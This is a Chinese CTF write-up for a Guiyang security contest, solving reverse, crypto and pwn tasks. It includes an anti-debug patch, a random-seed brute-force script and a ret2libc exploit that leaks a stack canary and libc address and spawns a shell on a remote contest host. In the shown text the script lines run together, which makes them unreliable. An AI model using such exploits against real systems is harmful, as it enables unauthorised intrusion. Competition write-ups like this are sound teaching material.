WP

  • REVERSE
    • ezre
    • rev_randomize2
  • CRYPTO
    • math
  • PWN
    • ezstack

(没写几题,就记录一下,misc写的基本都是佬们打爆的几题,就不写了

REVERSE

(如果有佬出了rust的flag,求佬告诉我一下orz,太菜了,没运行出来,验证不了flag,麻烦佬们告诉下orz)

ezre

观察程序,其中有base64、rc4、DES算法,
函数主要逻辑:输入一串字符,前一位和后一位异或,再rc4加密,最后des加密,DES算法给出了加密解密,0x65为加密,0x64为解密

根据动调来做,其中要注意的是tls函数对DES的密钥和输入的数据进行了改动


手动把两个tls函数判断是否调试的地方改一下,绕过反调试,
可以手动patch,也可以改ZF的值,
patch的话可以将74改成75,即可绕过反调试


输入flag{12345678901234567890123456789012}

调试到异或后,

取出数组十六进制数据为,

0A 0D 06 1C 4A 03 01 07 01 03 01 0F 01 09 01 03 01 07 01 03 01 0F 01 09 01 03 01 07 01 03 01 0F 01 09 01 03 4F 7D

经过rc4加密后数据为

3F D8 A0 03 BA 63 83 A7 C6 AC AD B2 D6 25 30 5B 83 88 96 C7 CE B9 22 AC 8D 1F 79 91 7E 73 38 F4 FC 98 CA A9 B7 D4

可用这两个异或,得到xor_key,
将此处的0x65改为0x64,并把最后判断的数组byte_40B078提取出来,

在des解密前,将byte_40B668的数据改为byte_EBB078的值

11 C3 77 FE 6F D2 EB F1 CF 1E 50 4D 70 4C 25 29
B5 CA 75 DB 8C 19 82 D9 1F E1 5E 58 EB 4B 51 D2
75 F4 BA 1F 61 0D 45 BD




通过解密后,得到

3F D8 A0 03 E9 63 D2 F2 97 FD A8 B9 87 7B 36 5F D0 8B 91 C5 99 E2 20 A6 DF 4A 2C 93 27 7E 3A F7 FD CD 97 AB BC D4

最后写个脚本逆推出flag

x1=[0x0A, 0x0D, 0x06, 0x1C, 0x4A, 0x03, 0x01, 0x07, 0x01, 0x03, 0x01, 0x0F, 0x01, 0x09, 0x01, 0x03, 0x01, 0x07, 0x01, 0x03, 0x01, 0x0F, 0x01, 0x09, 0x01, 0x03, 0x01, 0x07, 0x01, 0x03, 0x01, 0x0F, 0x01, 0x09, 0x01, 0x03, 0x4F, 0x7D]
x2=[0x3F, 0xD8, 0xA0, 0x03, 0xBA, 0x63, 0x83, 0xA7, 0xC6, 0xAC, 0xAD, 0xB2, 0xD6, 0x25, 0x30, 0x5B, 0x83, 0x88, 0x96, 0xC7, 0xCE, 0xB9, 0x22, 0xAC, 0x8D, 0x1F, 0x79, 0x91, 0x7E, 0x73, 0x38, 0xF4, 0xFC, 0x98, 0xCA, 0xA9, 0xB7, 0xD4]
result=[0x3F, 0xD8, 0xA0, 0x03, 0xE9, 0x63, 0xD2, 0xF2, 0x97, 0xFD, 0xA8, 0xB9, 0x87, 0x7B, 0x36, 0x5F, 0xD0, 0x8B, 0x91, 0xC5, 0x99, 0xE2, 0x20, 0xA6, 0xDF, 0x4A, 0x2C, 0x93, 0x27, 0x7E, 0x3A, 0xF7, 0xFD, 0xCD, 0x97, 0xAB, 0xBC, 0xD4]
xor_key=[]for i in range(len(x1)):xor_key.append(x1[i]^x2[i])for i in range(len(result)):result[i]^=xor_key[i]for i in range(len(result)-2,-1,-1):result[i]^=result[i+1]
print(bytes(result))

得到flag{ba1c3aea1faf4067a565f0da97488d89}

rev_randomize2

(赛后在本地复现出的,远程环境关了,不知道远程行不行,如果有误,轻点喷orz,方法比较烂,就硬爆随机数种子,有点废电脑,也有点看运气,随机数种子小的话,就很快)
代码主要逻辑,开始有初始分1000,猜对一个随机数加1分,再猜对一个加2分,依此类推,猜错的话,规律一样,当分数大于2000分,即可得到flag

sub_1289函数初始化随机数种子

sub_12FE获取生成的随机数

然后开跑,这里的libc.so.6是直接用pwn题给的libc,记得在本地建个flag文件,不然跑了半天出了才知道还没有文件(问就是我

from pwn import *
from ctypes import *context.log_level = "debug"# p = remote('39.107.71.45', '25568')
p = process('./randomize')
elf = cdll.LoadLibrary('./libc.so.6')p.recvuntil(b'Now guess!\n')
p.sendline(b'1')
p.recvuntil(b'The number in my mind is ')
a = int(p.recvuntil(b'\n')[:-1])
p.recvuntil(b'Now guess!\n')
p.sendline(b'1')
p.recvuntil(b'The number in my mind is ')
b = int(p.recvuntil(b'\n')[:-1])
p.recvuntil(b'Now guess!\n')
p.sendline(b'1')
p.recvuntil(b'The number in my mind is ')
c = int(p.recvuntil(b'\n')[:-1])
print(a)
print(b)
print(c)for i in range(0x10000000, 0x100000000):elf.srand(i)x = elf.rand() >> 15y = elf.rand() >> 15z = elf.rand() >> 15if x == a and y == b and z==c:print(hex(i))number=ibreakelf.srand(number)
print(elf.rand() >> 15)
print(elf.rand() >> 15)
print(elf.rand() >> 15)
score=994
for i in range(100):payload = str(elf.rand() >> 15)p.sendline(payload.encode())score+=(i+1)if score>=2000:breakp.recvuntil(b'Now guess!\n')p.interactive()

CRYPTO

math

没有时间限制,就直接本地挨个解了,没写交互脚本

import hashlib
import itertools
from string import digits, ascii_letters, punctuation# alpha_bet=digits+ascii_letters+punctuation
# strlist = itertools.product(alpha_bet, repeat=4)# sha256="710dd6a2908fed2a9977445f021333d176f39060f3b14c8ebe73ab12d4946461"
# tail="QlRvhN1QqRksWBrG"# xxxx=''# for i in strlist:# data=i[0]+i[1]+i[2]+i[3]# data_sha=hashlib.sha256((data+str(tail)).encode('utf-8')).hexdigest()# if(data_sha==str(sha256)):# xxxx=data# break# print(xxxx)# pow(p,9)+pow(q,9): 2824822169624626054661488626925458420744715781080646942074253083493110409304139573698331220638806746185475842194119961243645804370254606328869920018072689414438851986763034645626556982418990163940800474549193470898195538208390077574728861492183878546810890489530709875694439708304188836872775133284206949916525601873082688977829638863138990316027434787047769932507784217745872371234159638863412009751336370516261263894787945468938670587885217215533551430379370918887017578135901512047635699889591590644728268209911213837545954673959103136577695532350503753325666353616999846273454813736702876968828262577312436890164868139215146941181825104314265142027185641195497429436701158821466597436322426101818844710031297488336024894303790150460476458932731090576824660354020881969224935848618388008509287249786048287099709905361669995934683044400119527112547308946141798312531702089592589519108535371095268166661526029944144811749355534331341058531140340843830280132820250819782775604064279338833095450886869781021370514423225666663969097910935332887127861068226704314810075641777615479058315604743490070494698514916318640565210625873112244649996112730726083223048152494260522865824835075057025248755461487069699219010214934196309822790800505679440651281428272245964425847552725070324370935048163205674057942566606069023173193117188785459966877961255640155226356782264373613291491124970651673222
# pow(p,3)+pow(q,3): 2170975452570130427181048521695873973135933481372313804498232310176782170227124595928130478815483294370924323759914604172695746976894120890757779825855362817255229290661676271054758017616180660951572648811631474401996380573736869074007533444837272191850638568203334900550339868176862783180156627459202829081595794230688694799962290853974633400675886602057846186352130394606371882689934371132063210289099864922945499792531454940004181032574377548535600071749073142from z3 import *
p,q = Ints('p q')
solver = Solver()#创建一个求解器对象
solver.add(pow(p,9)+pow(q,9)==2824822169624626054661488626925458420744715781080646942074253083493110409304139573698331220638806746185475842194119961243645804370254606328869920018072689414438851986763034645626556982418990163940800474549193470898195538208390077574728861492183878546810890489530709875694439708304188836872775133284206949916525601873082688977829638863138990316027434787047769932507784217745872371234159638863412009751336370516261263894787945468938670587885217215533551430379370918887017578135901512047635699889591590644728268209911213837545954673959103136577695532350503753325666353616999846273454813736702876968828262577312436890164868139215146941181825104314265142027185641195497429436701158821466597436322426101818844710031297488336024894303790150460476458932731090576824660354020881969224935848618388008509287249786048287099709905361669995934683044400119527112547308946141798312531702089592589519108535371095268166661526029944144811749355534331341058531140340843830280132820250819782775604064279338833095450886869781021370514423225666663969097910935332887127861068226704314810075641777615479058315604743490070494698514916318640565210625873112244649996112730726083223048152494260522865824835075057025248755461487069699219010214934196309822790800505679440651281428272245964425847552725070324370935048163205674057942566606069023173193117188785459966877961255640155226356782264373613291491124970651673222)
solver.add(pow(p,3)+pow(q,3)==2170975452570130427181048521695873973135933481372313804498232310176782170227124595928130478815483294370924323759914604172695746976894120890757779825855362817255229290661676271054758017616180660951572648811631474401996380573736869074007533444837272191850638568203334900550339868176862783180156627459202829081595794230688694799962290853974633400675886602057846186352130394606371882689934371132063210289099864922945499792531454940004181032574377548535600071749073142)
if solver.check() == sat: #check()方法用来判断是否有解,sat(satisify)表示满足有解ans = solver.model() #model()方法得到解p1=ans[p].as_long()q1=ans[q].as_long()print(ans)print(p1)print(q1)
else:print("no ans!")print((p1*q1) % (p1+q1))

PWN

ezstack

利用栈溢出和canary泄露的漏洞ret2libc

from pwn import *context(arch="amd64", os="linux", log_level='debug')e = ELF("./pwn2")
libc = ELF("libc.so.6")p = remote('123.56.175.221', '17322')puts_plt_addr = e.symbols["puts"]
puts_got_addr = e.got["puts"]
main_addr = e.symbols["main"]
rdi_addr = 0x401363
ret = 0x401364p.sendline(b'a' * (0x30 - 10) + b'b')
p.recvuntil(b'b\n')
canary = u64(p.recv(8))
print(hex(canary))payload = b'a' * (0x30 - 8) + p64(canary) + p64(0) + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
p.sendlineafter(b'input: \n', payload)puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))base_addr = puts_addr - libc.sym['puts']
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + next(libc.search(b'/bin/sh'))
print(hex(system_addr))
print(hex(binsh_addr))payload2 = b'a' * (0x30 - 8) + p64(canary) + p64(0) + p64(ret) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter(b'input: \n', payload2)
p.interactive()


拿到权限后,得到flag,flag{nEsqteUbHFuy8mQTNXH7abj43C5Q4NQG}

贵阳大数据及网络安全精英对抗赛-解题赛WP相关推荐

  1. 贵州大数据及网络安全专家委员会成立

    6月15日,贵州大数据及网络安全专家委员会成立暨聘请仪式在京举行.中国工程院院士沈昌祥等22位专家受聘成为委员会委员. 省大数据安全领导小组副组长.省公安厅副厅长王瑛玮主持仪式并为专家颁发聘书,省大数 ...

  2. 人力资源数据分析师前景_人力资源数据分析师——大数据下的精英岗位

    人力资源数据分析师的工作而是通过横截面上数据的整体性分析,和纵向数据的历史演变和未来趋势,对公司人力资源情况有一个宏观的把握. 劳人研究生会,公众号:劳人研究生会劳有所学-职业介绍|人力资源数据分析师 ...

  3. 贵阳大数据交易所探索数据时代“新金融”

    作为中国第一家大数据交易所,贵阳大数据交易所不断与金融.证券等行业合作,积极探索大数据时代下的"新金融". "这几年的避暑季,从成都.重庆到贵州旅游的人占多大比例?这些游 ...

  4. 大数据与网络安全的问题

    大数据与网络安全成为了当前的学术热词,因为在大数据背景下,网络安全受到了前所未有的挑 战,且要想充分发挥大数据的优势,就必须要有一个安全性高的网络. 2.1随着互联网技术的发展,当代人的生活与网络越来 ...

  5. 贵阳大数据交易所:先行先试“掘金”数据!

    国内首家成立,业内率先推出新型交易模式,首推全球数据资产交易指数--一路走来,"第一"这样的字眼总伴随着贵阳大数据交易所的成长. 目前,交易所平台已接入200多家优质数据源,数据交 ...

  6. 内蒙古自治区发改委副主任刘丽娟一行莅临贵阳大数据交易所,共商激活政府数据价值,构建城市数据应用场景...

    5月25日,内蒙古自治区发改委副主任刘丽娟,高科技术产业处处长高丽霞,内蒙古新泰天逸公司副总经理曾凯,内蒙古大数据产业发展有限公司副总经理李成德一行莅临贵阳大数据交易所,共商激活政府数据价值,构建城市 ...

  7. 青海省经信委党组成员、副主任兼省招商局副局长刘小宁一行莅临贵阳大数据交易所,共商激活政府数据价值,构建城市数据应用场景...

    5月26日,青海省经信委党组成员.副主任兼省招商局副局长刘小宁,省经信委信息发展处处长蒋青波一行,莅临贵阳大数据交易所,与交易所执行总裁王叁寿交流政府数据融合共享与价值释放等问题. 青海在全国生态格局 ...

  8. 贵阳大数据交易所 会员超500家

    近日,记者从大数据交易所了解到,贵阳大数据交易所促成山东银河生物科技有限公司购买全球医药研发专利大数据分析平台,合同金额达到1600万元,成为新兴大数据与传统医药行业完美嫁接的典型案例.同时,这一金额 ...

  9. 贵阳大数据交易所 交易额突破一亿元

    近日,贵阳大数据交易所累积交易额突破1亿元,数据产品超过3500个,已发展华为.阿里巴巴.京东.泰康人寿等410多家企业成为会员. 为进一步激活数据资产.释放数据价值,今年以来,贵阳大数据交易所在数据 ...

最新文章

  1. snap安装指定版本的软件
  2. Access数据库出现的0x80004005 Unspecified error问题
  3. 华为手机如何关闭通知栏推送消息_如果华为手机升级EMUI10后,电池耗电很快!要记得调整这3个设置...
  4. 请求分页系统中页面分配策略与页面置换策略的关系
  5. SpringCloud系列七:使用Ribbon实现客户端侧负载均衡
  6. sql2008 sql服务_SQL即服务
  7. 接收并解析消息体传参、解析 json 参数
  8. Java开发知识之Java的包装类
  9. Centos 7 zabbix 实战应用
  10. Eclipse三种文件目录folder,source folder,package的关系及Build Path的作用
  11. Python如何从列表中删除空列表?代码示例
  12. 解决python.exe 无法找到程序入口,无法定位程序输入点
  13. Twitter将开通直播打赏功能 帮助美国网红赚钱
  14. 2018计算机网络MOOC第一章作业1
  15. python计算多边形面积
  16. 什么是操作系统?操作系统的主要特性是什么?主要功能是什么?
  17. var returncitysn = {cip ajax,js原生请求远程ip库url得到的数据如何处理?
  18. 【恒指早盘分析】趋势交易——看懂很简单,做到却很难!
  19. Office2007 Word 中出现乱码
  20. F-Measure MCC ROC Area PRC Area_MCC学生会 | 媒体运营部——若有人给你一盏灯 我给你月亮...

热门文章

  1. mpg文件切片之后,不能播放问题分析
  2. 华为,找寻科技秋天里的春光
  3. 个人简历电子版免费范文(合集)
  4. python中多个条件求值怎么算,如何使用python pandas对列进行分组并按条件计算值?...
  5. STM8 ADC读取数据异常问题的解决
  6. TypeError: fit() missing 1 required positional argument: 'y'
  7. 四大里snr是什么职位_德勤毕马威普华永道最近都有年轻员工去世,四大会计事务所真是血汗工? 爱问知识人...
  8. Hystrix 服务断路器(熔断器 )/服务降级/服务监控 hystrixDashboard
  9. 使用计算机时什么是开机键什么是关机键,电脑如何快速关机|电脑关机的快捷键是什么...
  10. 电力监控系统的应用与方案